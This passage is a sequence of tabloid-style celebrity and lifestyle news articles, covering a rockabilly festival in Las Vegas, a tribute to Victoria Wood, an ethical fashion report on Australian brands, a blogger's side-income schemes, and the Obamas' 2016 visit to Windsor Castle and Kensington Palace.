Rock the night away: Dancing is also a massive part of the festivities, with bands and DJs on at all hours - with some record hops continuing on into the morning

Moving for the title: Couples take to the floor for a shot at the jive dancing title for the year

Star-studded: Model and burlesque performer Dita Von Teese was also at the event on Saturday, sporting a stunning Carolina Herrera dress as she met with fans and signed autographs

Living legends: Brian Setzer (left) of rockabilly revival band the Stray Cats and surf guitar pioneer Dick Dale (right) drew in huge crowds on the outdoor stage

Like any other subculture, rockabilly is marked with a touch of friendly competition when it comes to the fashion - it's about finding the most beautiful, well-preserved piece of fashion history to impress and inspire your friends - which in turn inspires organizers to stage a myriad of clothing competitions, from swimwear to pin-up contests and glamour awards.

But with choosing those looks also comes a practicality. For example, for those who love to dance, there are bands and DJs that play until 7am - obviously requiring movable clothing and comfortable footwear.

And for those with ambitions of tearing up the dance floor, there are jive and swing classes available throughout the weekend, a bowling hall, scores of rockabilly-friendly vendors selling all manner of clothing and jewelry and even tattoo artists are also on offer for the estimated 25,000 fans.

Another aspect of the weekend is the vintage car show, which sees rows upon rows of pre-1964 cars, most beautifully restored with care, put on display in the outdoor area of the festival and bringing in scores of pin-up models eager to pose with them for photographers.

Making a mark: Attendees were also able to walk in for a tattoo at the Sailor Jerry's Tattoo Lounge right next to the hotel's bowling lanes

Sun-kissed: Gorgeous dresses, jumping bands and plenty of sun were the order of the weekend

Bringing it all back: Despite all the other attractions, the music that sparked the subculture was the focus for most who purchased tickets

Trucking in: The Viva Las Vegas car show is also the largest of its kind, bringing in owners of exclusively pre-1964 vehicles that have been beautifully restored

Out and about: Rockabilly fans from around the globe see the event as a kind of family reunion, where they can be in a place full of like-minded people all there for a good time

However, everything has to come down to the music first and, indeed, it is the center point for the majority of ticket holders.

Music is a huge part of the weekend, and if you can dance even a little it's WAY more fun, explains 28-year-old New Yorker Aly Rose. When the band lineup is posted we usually try to decide who we want to see the most and build our schedules around that. The late night record hops are always my favorite, I get to dance with so many new friends!

This year saw the attendance of rockabilly icons Brian Setzer  of the Stray Cats who spearheaded a revival of the music in the early 1980s with hits like Rock This Town and Stray Cat Strut  and surf guitar pioneer Dick Dale, who both brought out crowds of thousands. But they were only two of dozens of bands playing over the weekend.

Dita Von Teese, vintage beauty and burlesque icon, also made an appearance at the event on Saturday, arriving in a floral Carolina Herrera dress to meet and sign autographs for fans.

But despite the many, many attractions, activities, classes and competitions, for the majority of attendees, Viva is more of a family reunion for the like-minded people across the globe who only see each other once per year.
The sadness is real and the misfortune is everybody's. It is obvious that Victoria Wood blazed a trail for women in modern TV comedy.

Many have lined up to acknowledge the debt  French and Saunders, Jenny Eclair, Catherine Tate, a host of others.

There had of course been highly visible women in comedy before, from Hattie Jacques and Lucille Ball to Pamela Stephenson in Not The Nine O'Clock News.

But none ever wrote their own material in a voice so vividly, authentically, good-humouredly merciless as hers.

It is obvious that Victoria Wood (pictured) blazed a trail for women in modern TV comedy

Also, very few women have found and kept such great fame in our neurotically glamour-obsessed modern world while remaining unfashionably un-slim (though Victoria was always fit as a fiddle: just watch her spoof 'Fattitude' exercise class sketch, or her dancing in a glorious parody musical as Bessie Bunter).

She always had the proper, fearless actor's willingness to make herself physically ridiculous; yet in other sketches, and in reality, she could 'scrub up' glamorous and radiate an attractiveness few could resist.

For many women, performers or otherwise, these cheerful transformations were a balm to the spirits. We felt liberated, whoever we were, as she morphed herself into Gemma the gormless girl in the bus shelter: 'Caaarl ... what's your favourite sangwidge?' Or the sensible, inwardly sad canteen worker Brenda, overshadowed by her eccentric fantasist mother, or a posh lady-who-lunches.

She was happily brave, too, about women's positive feelings towards sex, as well as the potential boredoms of marriage.

Remember the song about girls out on the lash and joyfully 'in the mood / for a fabulous interlude'  or the ballad printed here on the right, in which Freda serenades her reluctant Barry with 'bend me over backwards on me hostess trolley' while he whines 'stop nagging... you know as well as I do that the pipes want lagging'.

There had of course been highly visible women in comedy before but none ever wrote their own material in a voice so vividly, authentically, good-humouredly merciless as Wood's

The Victoria Wood woman was always down to earth about physical matters: joking that she couldn't imagine an orgy in Bridlington  'eh now steady on, mind my barometer'  and reflecting: 'People think I hate sex. I don't. I just don't like things that stop you seeing the TV properly.'

But her Fredas, and her hopeful lasses-on-the-lash, and the matchlessly slaggy Maxine Peake character Twinkle in her sitcom Dinnerladies were raucously, cheerfully up for it. And that, of course, is how real women are.

Outside of her characters, she would reappear as her amiable self in blazer and trousers, hosting her television programme or, memorably, filling the Royal Albert Hall with her unassuming but powerful presence, talking to us as if over a kitchen table, reflecting with elegantly phrased daring on everything from muffins to the menopause.

Or maybe taking the mickey out of swingers in throwaway style: 'I went to one of those parties once where you throw your car keys in the middle. I don't know who got my moped, but I drove that Peugeot for years.' We loved her.

But Victoria Wood is not just a loss to women and female comic perception. Heartbroken men as well, both in and out of showbiz, piled in to pay tributes online.

For Victoria Wood, the girl from Prestwich whose mother 'didn't believe in praise', who hid shyly reading in her room and 'didn't want a boyfriend, I wanted a 13-colour biro' will be remembered as truly great.

Very few women have found and kept such great fame in our neurotically glamour-obsessed modern world while remaining unfashionably un-slim (Victoria Wood, left, with Julie Walters in 'Wood and Walters')

That reticent, unsure girl worked for years through seeming failure to hone her craft, and became not just a beloved figure in her own right but one of the finest screenwriters in the English language.

She was a mistress of dialogue, pin-sharp in observation, satirically compassionate and profoundly perceptive about life's small absurdities, daft pretensions, inner defeats and chances of redemption, however late they arrived.

Her musical, That Day We Sang (a wistful title which the BBC stupidly changed to Tubby And Enid for a TV version) is one of her most recent and heartfelt bits of work, dealing with a reunion of the Manchester schoolkids, children of poverty, who sang Nymphs And Shepherds with the Halle Orchestra in 1929.

That musical is a fond tribute to her own county (it was made first for the Manchester International Festival) and a witness to ordinary heroism: everyday uncomplaining pain, bleak lives groping shyly towards late-flowering love. It could be just a middle-aged rom-com, and is indeed very funny at times (I still sing myself bits of the Berni Inn song in the car).

But it becomes more than that: a meditation on the long, slow, sad loss of childhood and its glee and optimism, and on how one can, with courage, remember and reclaim that glee in mid-life and face down people who consider you a failure.

Equally serious and heartfelt was her TV drama Pat And Margaret, about two sisters divided by the international fame of one of them: who can forget Julie Walters preening 'I'm an icon' and then, on seeing her childhood home, letting her face fall as she remembers old disappointment and sadness.

That play, and Housewife, 49  in which she brought to life the World War II diaries of an ordinary, middle-aged Lancashire housewife with 'fretty nerves'  will stand as television landmarks for a very long time.

Victoria Wood, the girl from Prestwich whose mother 'didn't believe in praise', who hid shyly reading in her room, will be remembered as truly great

For as a deep-feeling woman who had known doubt and low self-esteem, Victoria Wood used her comedy perceptions to confront real human vulnerability and sadness. She let us laugh at those things, and therefore at ourselves.

Great dramatists do this  Alan Bennett, Alan Ayckbourn, Michael Frayn, Shakespeare himself. In Twelfth Night, when the ridiculous Sir Andrew Aguecheek murmurs 'I was adored once...', it is a pure Victoria Wood moment. It isn't too strong to say that she stood in that great tradition.

Yet, goodness, when frolicking through straight and sunny comedy sketches, she made us laugh helplessly, blithe as babies.

She wove words exquisitely, taking immense trouble, sometimes rewriting through the night to get the precise rhythm, ring and timing right.

It is no surprise that she was also such an accomplished musician and lyricist: it is often the very sound of a sentence in comedy which unexpectedly knocks you flat.

Online, people have been joyfully quoting her, especially in what one calls the vital manifesto for life: 'Quote Milton, eat Stilton, roll in wild abandon on the tufted Wilton...' as Freda sings seductively to poor Barry.

In our house rarely a day passes without one of us using a Wood phrase: and the absolute zenith, peak and apogee of my husband Paul Heiney's four-decade career in TV  the moment of utter professional and personal delight and most heaving pride in his life  was when he was recruited to play a bit-part as a hapless reporter covering events backstage at Acorn Antiques, trying to interview Julie Walters as she prepared to play Mrs Overall.

Wood wove words exquisitely, taking immense trouble, sometimes rewriting through the night to get the precise rhythm, ring and timing right

Many actors owe Victoria Wood an immense amount, because she wrote as brilliantly for others as she did for her own many characters. Think what is owed to her skill by people like her lifelong friend Julie Walters; or Celia Imrie, Susie Blake, Thelma Barlow. She wrote as sharply for the late Thora Hird as Alan Bennett did.

And it wasn't just women's roles she created: think of another long-term friend and regular cast member, Duncan Preston. Or Andrew Dunn, for whom she created the unique and poignantly real character of the hard-pressed Tony in Dinnerladies.

Here's a middle-aged man, going through cancer treatment and slowly daring to love Brenda, supervising his flock of brilliantly bickering women and vanishing, thankfully, onto the fire escape for a healing fag. 'I quite like women in a sad, baffled sort of way,' he says.

'But out of a workforce of five, at any given moment one will have premenstrual tension, one's panicking cos she's not, someone's having a hot flush, and someone else is having a nervous breakdown cos her HRT patch has fallen in the minestrone!'

Ah yes: this writer not only knew how it is to be a woman, but how perplexing and unnerving women often seem to men.

So performers today surely face with dismay the prospect of there never being any more new lines from Victoria Wood: lines which make any actor yelp with delighted recognition and long to get into the studio to bring them to life.

They'll miss her, we'll all miss her, she went far too soon, and could have written even more and sparked off more delight.

The only small comfort is that she flourished in the age of the screen, and her work can never be forgotten.

Thank you, Victoria, for all of it.
Zara and Adidas came out on top with A rankings for the best practices

General Pants Co, Seed, Ally, Roger David and Boohoo all got F rankings

All brands in the report manufacture their clothing in Bangladesh

Fashion labels sold in Australia have been ranked based on how ethically they make their products and it's bad news for a number of high-profile brands.

The 2016 Australian Fashion Report by Baptist World Aid investigated major brands that sell in Australia and manufacture their clothes in Bangladesh and rated them using an A to F scale.

General Pants Co, Seed Heritage, Ally Fashion, Roger David and Boohoo all received F grades in the report, which aims to shine a light on these companies and stop worker exploitation.

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Fast fashion: A report has been released ranking Australian brands on how ethical they are in terms of manufacturing worker treatment

Pass or fail: The report, developed by Baptist World Aid, ranks brands on an A-F scale. Seed Heritage (above) was one of the worst performers

Higher scrutiny: All of the brands investigated manufacture their clothing in Bangladesh, where worker rights have not been strong

THE BEST RANKING BRANDS Zara - A

Adidas - A-

Bonds - B+

Cotton On - B+

Country Road - B+

H&M - B+

Pacific Brands - B+

Sportscraft Witchery - B+ Advertisement

THE WORST RANKING BRANDS Ally Fashion - F

Boohoo - F

Dangerfield - F

General Pants Co - F

Princess Highway - F

Seed Heritage - F

Shoes and Sox - F

Volley - F Advertisement

Not far behind, getting a D ranking, were Best and Less, Forever 21, Lorna Jane and Pumpkin Patch.

Some of the companies that scored the best ratings included Zara and Adidas who were both awarded As.

The grades were based on assessment on four areas, the company's policies, how well they know their supply chain, auditing, and worker empowerment.

The good: Zara (above) ranked best on the report, scoring an A. Adidas also did well, with an A- ranking

The bad: Boohoo, General Pants Co and Seed Heritage did the worst, all ranking with an F. Lorna Jane (above) also did poorly with a D

The ranking has also proved that just because the cost of a product is high, this doesn't mean it is made ethically.

Australian brand Ororton, whose bags sell for as much as $1,195, scored poorly with a D+. Seed Heritage, whose prices start at $59 for a woman's t-shirt got an F grade in the rankings.

Fitness brand Lorna Jane, who sells workout tights for $90-110, ranked badly with a D. Pumpkin Patch, also ranked badly with a D.

Not all the brands who ranked badly were expensive though. Chain Forever 21 also scored very badly with a D-.

Back to school: Iconic brand Oroton, who has Rose Byrne (above) as their ambassador, also ranked badly with a D+

Choose carefully: The report showed that just because clothing costs more, doesn't mean it's ethically made, with cheap brands H&M and Kmart doing well whilst expensive brands Lorna Jane and Seed didn't

However some cheaper brands, like H&M and Kmart, did relatively well. Kmart, who sells t-shirts for as little as $5, scored a B, with H&M getting a B+.

Kmart, which was criticised in recent years of their poor practices with manufacturing and suppliers, has improved immensely.

Zara, who topped the rankings, is also relatively cheap with most items under $100.

This is the third year the survey has been conducted, and each year is showing improvements with brands more aware of ensuring transparancy and improving conditions for workers.

Starting a revolt: The report was released in Fashion Revolution week, which aims to shine a light on companies who exploit workers to make their clothes

Going viral: The campaign asks consumers to tag photos of their clothing labels with #whomademyclothes on social media

The report comes in time for Fashion Revolution week, which was created after the devastating fire in a Bangladesh textile factory in 2013.

The Fashion Revolution campaign encourages consumers to understand the 'true cost' of the clothes they wear and raise awareness.
Crown Princess Mary of Denmark has shown off her inner covergirl on the cover of Danish Fashion Magazine, Euro Woman.

The stylish 44-year-old recently sat down for an interview with the magazine ahead of the global Women Deliver Conference next month.

The candid cover photos show the Princess posing in very modern and simple outfits with minimal pieces of jewellery.

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A natural: Crown Princess Mary has shown off her inner covergirl on the cover of Danish Fashion Magazine, Euro Woman

Candid: The stylish 44-year-old recently sat down for an interview with the magazine ahead of the global Women Deliver Conference next month

Two covers were released - the first one in black and white for subscribers and the second, where the Australian-born royal is seen in a glamorous white dress, is for everybody else.

The 20 page interview was conducted by editor Mette Storum Krough, where the mother-of-four discussed women's health and rights, equality and the importance of creating more inclusiveness in the workplace.

The Women Deliver 2016 Conference will be held at the Bella Center in Copenhagen, Denmark from 16-19 of May and will be attended by thousands of world influencers, advocates, researchers, journalists and activists.

Two covers: Two covers were released - the first one in black and white for subscribers and the second, where the Australian-born royal is seen in a glamorous white dress, is for everybody else

Busy month: On April 15, the passionate Princess travelled to Vesterbro, Copenhagen, to open a school of secondary education with a focus on vocational training and educational programs within the health science

It is the largest conference on girls and women's health and rights and the Crown Princess will be the official patron.

The Princess also acts as a patron for the United Nations Population Fund (UNFPA) and the Danish Maternity Foundation and is a member of the High-Level Task Force for ICPD.

At the 2016 conference there will be a specific focus on maternal, sexual, and reproductive health and rights  and the inter-connections with gender equality, education, environment, and economic empowerment.

Speaking to the magazine, the Princess said 'men and women are different. It's just a fact. Therefore, we must create more inclusiveness and diversity in business.'

Duties: The brunette beauty was seen chatting to teachers and students before she gave a speech about the importance of education and went on a tour of the classrooms

Designer: The Princess wore one of her favourite coats for the occasion - a Prada coat with pops of yellow that she was seen wearing for the first time in 2010 at the opening of Danish parliament

'We need to create jobs where women are not just fit into a male world, but where there is room for diversity and where there is an understanding that men and women have different ways of expressing themselves.

There must be room for individuality and the individual family choice. It is a private matter, but we are still bound by some cultural norms in our society, which is very strong.'

Despite preparing for the conference, Mary has also been busy carrying out a number of her duties in the educational sector.

On April 15, the passionate Princess travelled to Vesterbro, Copenhagen, to open a school of secondary education with a focus on vocational training and educational programs within the health sciences.

The brunette beauty was seen chatting to teachers and students before she gave a speech about the importance of education and went on a tour of the classrooms.

Stylish: She paired the coat with a pair of black pants and a brand new pair of bright yellow Gianvito Rossi suede pumps

She also took some time to take selfies and some photographs with those who had come out to see their future queen.

The Princess wore one of her favourite coats for the occasion - a Prada coat with pops of yellow that she was seen wearing for the first time in 2010 at the opening of Danish parliament when she was pregnant with her twins.

She paired the coat with a pair of black pants and a brand new pair of bright yellow Gianvito Rossi suede pumps.
A blogger who turned to online money-making schemes to make ends meet while unemployed has been able to quit her job after earning 100,000.

Emma Drew, 28, from Littleforth, Cambridgeshire now makes around 3000 a month from activities such as mystery shopping, risk-free betting and online lotteries, which she documents on her blog.

Her husband Tony has also been able to given up his job to work alongside Emma, and the couple were able to splash out almost 30,000 on their dream wedding and honeymoon last year without a second thought.

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Emma Drew, 28, from Littleforth, Cambridgeshire (pictured with her husband Tony) makes around 3000 a month from activities such as mystery shopping, risk-free betting and online lotteries, which she documents on her blog From Aldi to Harrods

And giving up work her job as a website administrator in November 2015 as she is now earning almost twice her previous 1600 a month take home pay.

Last month she earned 701.64 from matched betting, 1,340.99 from affiliate links on her blog, 686.80 from website she's set up featuring posts and advertising, 41.64 from online surveys and 848.39 from things like mystery shopping, website testing and cash prizes - a total of 3,619.46.

And what' more, she has improved her quality of life and can spend more time with Tony.

'Leaving work has meant we can manage our time better,' Emma told FEMAIL. 'Tony used to work night shifts and by the time I got home we'd have an hour together before he had to leave.

'I like that I'm making myself money instead of a boss. It makes me want to work harder because I'm directly gaining.



The couple were able to splash out 20,000 on their wedding last year without thinking twice, thanks to their extra income

A haul of free products from one of Emma's mystery shopping trips

Emma gets household goods for free after signing up to a website that invites people to try out products and review them for Amazon

To that end, Emma has set herself a goal of earning 5000 a month by the end of this year.

'We're already earning more than we did when we were both working but I have my eye on that prize. It's just my personality. I've always been quite entrepreneurial.'

To begin with, Emma turned to making money online out of necessity.

'After I graduated I got caught up in the recession and I could not get a job for a year. I turned to making money online so I could exist - just to make ends meet.

Emma gave up her job as a website administrator last year and now works for herself full time

Emma used to spend only an hour a day with her husband a day as he worked nights, but now they have both left their jobs they can spend more quality time together

The couple on Honeymoon in Disneyland. They were able to splash out 8000 without thinking twice and have just booked another trip to the Florida theme park

'I didn't want to do anything that I had to put money into upfront. I was researching things I'd read about to check they were not a scam and then I'd try things out for myself.

'I delivered BT phone books and sold my smelly shoes on eBay to men that like things like that. As you go through it you learn what works for you.

'I found that survey websites were consuming too much time You could spend an hour on one and get 50p.'

One of Emma's most lucrative endeavours is mystery shopping, for which she's paid in cash or free products.

Emma and Tony enjoyed a fire works display at the end of their wedding

Emma's online earnings were able to fund the sweet touches they wanted to add to their wedding such as an ice cream van

Savvy business woman Emma is aiming to be earning 5000 a month by the end of this year

I love mystery shopping, and every month it makes a hefty chunk of our online income. Mystery shopping is also great for the free items we get, which in turn helps to reduce our budget elsewhere.

HOW TO GET STARTED Anything that tells you you will be earning 500+ per day is usually a scam. Just ask yourself whether to have to pay for it. If you do, people are making money from selling the system, and your job will be to continue selling this system. Instead, you can read about real things that I have been doing to make extra cash. You wont get rich quick. Earning money online takes time to research opportunities and wrap your head around it. There is rarely just one thing to do to earn extra cash. It is a good idea to spread your earnings from a few sources. You never know what is around the corner, and by not having all your earning eggs in one basket, so to speak, you minimise the risk of losing out. Not everything will work for you  perhaps something doesnt interest you, or you just dont get it. Dont waste time on it, move on to something else. Set up a totally dedicated money making email address as you may inadvertently sign up for spam websites when you start out. Research companies before getting involved. Google their name and the word scam and see what other people are saying. Advertisement

'We have used mystery shopping to purchase groceries, toiletries and even to help with Christmas shopping.

'I've got about 30 to 40 apps and when I'm out a notification often pops up on my phone if I'm near a mystery shopping opportunity.

'It just says something like: "if you're in the store can you take a few photos or answer a few questions".

'I've earned 50 before by going to a bank and applying for a credit card and having the conversation recorded. It's not bad for an hour's work.'

'You maybe get as little as 2.50 but it can be up to 10,' she explained. 'If you can fit in a few in a day it adds up. We sometimes take a few hours to do 10 or so.'

'As well as shopping in popular high street stores or restaurants, mystery shopping is also conducted over the phone or online.

'There are mystery shopping companies who only focus on online assignments, or you can find these mystery shops amongst traditional assignments.

Emma uses apps such as Field Agent, Roamler, Streetspotr and iPoll for mystery shopping opportunities.

And she recommends websites such as Red Wig Wam, Market Force and Grassroots.

She can also earn an average of 50 to 80 in an hour through matched betting, which involves taking advantage of offers by betting companies for a free first bet.

'It's a guaranteed risk free way of turning a free offer into money. It's a great way to really boost your income,' she explained.

A free meal Emma got for trying out a restaurant. As well as being paid in cash for mystery shopping, she receives free meals and products

Free meals Emma has landed as a mystery shopper through apps that send her notifications when she's in the vicinity of a business that needs reviewers

'Let's say Red Rum is running a race got to the bookies and bet that he's going to win and that he's not going to win. So either way you get money.

'During Cheltenham I made 550 in four days using special offers. Then there's the Grand National, the premier league - there are always offers.'

Emma is also signed up to various free lottery websites and has won 50 and 80 on the Sefie Lottery and Ashleigh Money Savers draw .

EMMA'S TOP TIPS FOR EARNING EXTRA INCOME Blogging  making money from adverts, affiliate marketing and accepting sponsored posts. Matched betting  making use of bookmakers free bets to get a guaranteed profit, tax free. Complete online surveys  Prolific Academic is my favourite survey website along with MintVine. Mystery shopping  you can check out my guide to mystery shopping in the UK and grab yourself 50 with this simple mystery shop. Website testing with WhatUsersDo. Earn from smart phone apps  my e-book, 50 iPhone Apps To Earn Cash is just 99p at Amazon. Write an e-book for sale at Amazon. Investment  this is a great way to diversify your income, and you can get an extra 100 bonus when you deposit 1,000 into RateSetter for 12 months. Advertisement

''Free lottery websites are free daily or weekly prize draws. Entering is really simple  simply register for each site and input the details required, whether it's uploading a selfie, registering your phone numbers, or your birthdate and bookmark the websites.

'Then check them every day to see if you have won. The websites make money from advertising revenue, which is then shared with you.'

Emma also makes money from affiliate links on her blog. If there's a product she likes she will include a link for readers to click on to buy it, earning her commission.

Emma is more of a money maker than a super scrimper but still enjoys a bargain and shops in the reduced aisle at the supermarket

Emma and Tony pictured on their honeymoon at Disneyland, Florida

'It doesn't cost me or the end user anything extra,' she said. 'And you don't need to be a blogger to do it.

'Anyone can recommend things to their friends on social media and add affiliate links.

The best way to go about it is to google the name of the product and "affiliate" or "refer a friend".

EMMA'S GUIDE TO MAKING AN EXTRA 500 A MONTH Mystery shopping: My favourite company is Market Force, simply because of the clients they have available. If you register you will recognise a whole host of high street names. I also recommend Grassroots and The Mystery Dining Company. Sell your skills: Whatever you can do, you can make money from it. Fiverr allows you to sell a whole host of services for $5  you can do things like post on forums, leave comments on blogs, design logos and much more. You could also look at People Per Hour for jobs that you can complete  you could set up social media pages, write articles or record an audiobook. Focus groups: These days, attending focus groups sometimes doesnt even involve leaving your home  you can complete online focus groups and group discussions to earn cash.People4U connect you to relevant focus groups both online and at real locations across the country. Blogging: Starting a blog is a great way to not only earn some extra cash, but also to become part of a community. There are many ways to make money from creating a blog  sponsored posts, advertising, affiliate marketing and more. You can get started easily on Blogger or pay for paid hosting and a domain name (yourblogname.com for example). Transcribing: If you have a good typing speed then you might want to consider working from home as an audio typist. Working on a shift basis, you can be sent audio files to transcribe on a regular basis. There is a deadline with each file you receive and you will be paid for the number of minutes you transcribe, not the number of minutes you have spent transcribing. Buy to sell: Visit charity shops and car boot sales to find items you think you can sell for more elsewhere, usually eBay. Remember that if you are buying to sell, as opposed to decluttering your own items, you will need to pay tax. Advertisement

I definitely think that without eating too much into their free time the average person can earn an extra 300 to 500 a month doing what I do.'

While Emma rarely speculates to accumulate, she does spend a small amount buying things to sell on eBay.

'Car boot sale season is coming up,' she explained.

'We'll see what we can find to sell on eBay. We've had quite a lot of success finding things that sell really well. We also sell our old things at car boot sales.'

Although she likes a bargain, Emma is more about making money than being a super saver.

'We walk to the Co-Op every evening to shop from the reduced shelf and I do meal planning. But there are only so many cutbacks you can make.'

'There's a great app called Tengi that's like WhatsApp and it gives away cash prizes from 5.00 to 1,000 so just doing little things like switching to an app like that can earn you money without having to do much.

'I get cashback on my shopping through Quidco and I will look for things that pay in supermarket vouchers or Amazon vouchers as they always come in handy.

'There's a great website called amzreviews where you can sign up to test a product and write a review for Amazon.

'I've had over 600 free products from camera accessories to face creams.'

Although she now has more free time than ever, Emma admits that she likes to keep busy.

'I've had to learn how to relax. When I get free time at home I don't know what to do with myself,' she explained.

'But not working does improve your quality of life. I have time to cook from scratch.

'But there's some days I look at the TV and think that's all I want to do today, and I can.

'As well as having more time we can have nicer things. We're not about living a luxury lifestyle but our earnings mean that when we want something we can get it without thinking twice.

'I've just bought a brand new car and we've just booked another holiday.

'We were able to pay for our dream wedding last year at an old country manor.

'We were able to have all the little touches we wanted like fancy canapes and an ice cream van and fireworks at the end of the night.

'The wedding cost around 18,000 to 20,000 and we went on honeymoon to Disneyland Florida for about 8000.
She is known as the First Lady of fashion and today Michelle Obama proved she is still worthy of her title as she landed in London today.

The mother-of-two opted for an embroidered magenta and violet Oscar De La Renta dress that had onlookers wondering if she was paying her own tribute to Prince, who died yesterday.

Although, the 52-year-old's outfits are thought to be planned long in advance of an official trip abroad, the choice of shade instantly evokes the artist, who was known as the 'the Purple One'.

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Michelle Obama proved she is still worthy of her First Lady of Fashion title as she dazzled in a magenta Oscar De La Renta dress for her meeting with the Queen and Duke of Edinburgh

Michelle was famously criticised for wearing a jumper to Buckingham Palace by the late De La Renta but looked elegant today as she posed for photos in the castle

Barack Obama has said that he and the First Lady 'join millions of fans from around the world in mourning the sudden death of Prince'

Yesterday Barack Obama posted his own tribute to Prince revealing that he and Michelle were both fans and will 'mourn his death', as they arrived in the UK last night.

After a night at the US ambassador's residence in Regent's Park they flew by helicopter to Windsor Castle for lunch with the Queen and the Duke of Edinburgh, where Michelle's colourful ensemble brightened up the gloomy British weather.

It also looked as though she had coordinated the regal tones of her gown with the Queen's own jacket and skirt, which were a pale mauve.

Former lawyer Michelle wore her hair long and loose to her shoulders with her fringe swept to the side.

She paired her ornate dress with some bejewelled earrings and a simple black clutch as she posed for photographs with the British royals.

Barack and Michelle Obama are pictured leaving Winfield House in London, with the First Lady's dress an eye-catching combination of purple and magenta

The pair talked together as they walked down the stone steps to board their helicopter to the Windsor Castle

Barack opted for a blue striped tie against a dazzling white shirt, while Prince Philip chose a red patterned tie.

Many fashion watchers may also see Michelle's choice of Oscar de la Renta as a response to comments he made about a former outfit she wore to meet Her Majesty.

In 2009, he criticised the First Lady for wearing a J. Crew cardigan to meet the Queen.

'You don't...go to Buckingham Palace in a sweater,' De la Renta told Woman's Wear Daily, regarding her decision to wear a cardigan over an Isabel Toledo-designed dress for the private meeting.

Dominican-born De la Renta - who made a career out of dressing First Ladies - also spoke out in 2011 to criticise Mrs Obama for wearing Alexander McQueen to a state dinner with the Chinese President.

'What a lost opportunity to showcase our industry. I'm sure she didn't do it on purpose, but she was not well-advised.' he said, during a talk at Y92 in New York.

As she stepped from the helicopter onto the grounds of Windsor Castle she covered up with a navy dress coat

She joins her husband President Obama for the intimate meeting at Windsor Castle where the pair will later dine with Prince William and Prince Harry

But Michelle, who became a patron of up-and-coming US designers when her husband was first elected to office in 2008, waited until 2014 to wear an Oscar de la Renta look - just two weeks before he died aged 82.

Today 5ft 9in Michelle teamed the eye-catching dress with court shoes with a kitten heel - but still towered over both her hosts.

The President and his wife literally swooped into Windsor Castle, landing in the grounds in a helicopter.

The Obamas were met on the lawn of Windsor Castle by the Queen and the Duke of Edinburgh, who appeared in good spirits as they shared a joke with the couple.

While Michelle covered up with a navy three quarter length coat, the Queen donned one of her favourite scarves, tied beneath her chin.

They then got in to a Range Rover which was driven the short distance to the castle by the 94-year-old Prince Philip.

The US President and the first lady will later dine with the Queen's grandchildren, Princes William and Harry.

Mr Obama, who landed near London last night for the start of an official visit to Britain, has been staying at the home of the US ambassador.

This morning he departed the residence near Regent's Park in his enormous motorcade, before taking his Marine One helicopter to Windsor, in Berkshire.

The President has already ruffled feathers in the UK by intervening in the debate over the upcoming European Union referendum.

The Obamas were met on the lawn of Windsor Castle by the Queen and the Duke of Edinburgh, who appeared in good spirits as they shared a joke with the couple

Mr Obama called for Britain not to opt for 'Brexit', to the fury of anti-EU campaigners who argue that a foreign leader should not interfere in domestic political issues.

He joked that his visit was specifically timed to coincide with the Queen's birthday on Thursday, saying: 'I want to wish Her Majesty a happy birthday in person.'
See more of the latest news on Kate Middleton at www.dailymail.co.uk/kate

Kate Middleton looked radiant in blue as she welcomed President Barack Obama and First Lady Michelle to Kensington Palace for dinner after recently completing a whirlwind trip to India and Bhutan.

The Duke and Duchess of Cambridge were joined by Prince Harry as they happily greeted the Obamas at the entryway of their home on Friday evening.

Despite the dreary London weather, the 34-year-old donned a cheerful three-quarter-length blue and pink printed dress by L.K. Bennett.

Perfect host: Kate Middleton donned a $525 L.K. Bennett dress to host the Obamas for dinner at her Kensington Palace home on Friday evening

Chivalrous: President Barack Obama held an umbrella over his wife Michelle's as they arrived for dinner. The First Lady looked elegant in a nude monochromatic look

Kate showed off her slender waist by belting the brand's $525 Addison printed silk dress and paired the look with blue suede pumps, a brave choice for the rainy weather.

Meanwhile, Michelle, 52, opted for a chic monochromatic look, pairing a nude top with a matching lace skirt and knee-length coat.

The First Lady also was brave about her footwear choice, picking out a matching pair of nude-colored pumps.

Both women left their hair in in loose curls around their shoulders and kept their accessories to a minimum, although Kate donned a delicate sapphire necklace and earrings with her ensemble.

Kate and Michelle are international fashion icons, and while they undoubtedly picked their ensembles with care, the men skipped ties and stuck to dress pants, suit jackets, and button-down shirts.

Dinner date: The Duke and Duchess of Cambridge were joined by Prince Harry as they posed for photos with the President and First Lady

Royal affair: Kate wore blue suede shoes despite the rain, while Prince William and Prince Harry opted for suit jackets, dress pants, and button-down shirts that were left opened at the collar

After exchanging greetings outside, the Obamas were then welcomed into the royal couple's 22-room private apartment  number 1A  where they sat down in the living room and chatted with their hosts.

The apartment, which used to belong to Princess Margaret, has since been renovated for the couple using $6.5 million worth of taxpayers money.

Earlier in the day, the Obamas flew by helicopter from the US ambassador's residence in Regent's Park to Windsor Castle for lunch with the Queen and the Duke of Edinburgh.

Michelle managed to brighten the gloomy weather at the meeting by donning an embroidered magenta and violet Oscar De La Renta dress that was perfect for spring.

Catching up: Kate was all smiles as she shook Michelle's hand upon her arrival

She paired the dress with bejewelled earrings and a simple black clutch as she posed for photographs with the British royals.

It also looked as though she had coordinated the regal tones of her gown with the Queen's own jacket and skirt, which were a pale mauve.

Michelle's purple dress had onlookers wondering if she was paying her own tribute to Prince, who died yesterday.

Although Michelle's outfits are thought to be planned long in advance of an official trip abroad, the choice of shade instantly evokes the artist, who was known as the 'the Purple One'.

Yesterday Barack Obama posted his own tribute to Prince revealing that he and Michelle were both fans and will 'mourn his death', as they arrived in the UK last night.

Easy going: Despite their fashionable outfits, the two looked relaxed as they chatted on the couch in Kate and William's private apartment

Special moment: Earlier in the day, Michelle wore an Oscar De La Renta dress to to Windsor Castle for lunch with the Queen and the Duke of Edinburgh

Added details: Michelle paired the dress with bejewelled earrings, a simple black clutch, and matching heels

Meanwhile, Barack opted for a blue striped tie against a dazzling white shirt, while Prince Philip chose a red patterned tie.

Many fashion watchers may also see Michelle's choice of Oscar de la Renta as a response to comments that the designer made about a former outfit she wore to meet Her Majesty.

In 2009, he criticized the First Lady for wearing a J. Crew cardigan to meet the Queen.

'You don't...go to Buckingham Palace in a sweater,' De la Renta told Woman's Wear Daily, regarding her decision to wear the brand's cardigan over an Isabel Toledo-designed dress for the private meeting.

Dominican-born De la Renta  who made a career out of dressing First Ladies  also spoke out in 2011 to criticize Mrs Obama for wearing Alexander McQueen to a state dinner with the Chinese President.

'What a lost opportunity to showcase our industry. I'm sure she didn't do it on purpose, but she was not well-advised.' he said, during a talk at Y92 in New York.
For more on the Queen's birthday visit www.dailymail.co.uk/thequeen

Many people took to Twitter to

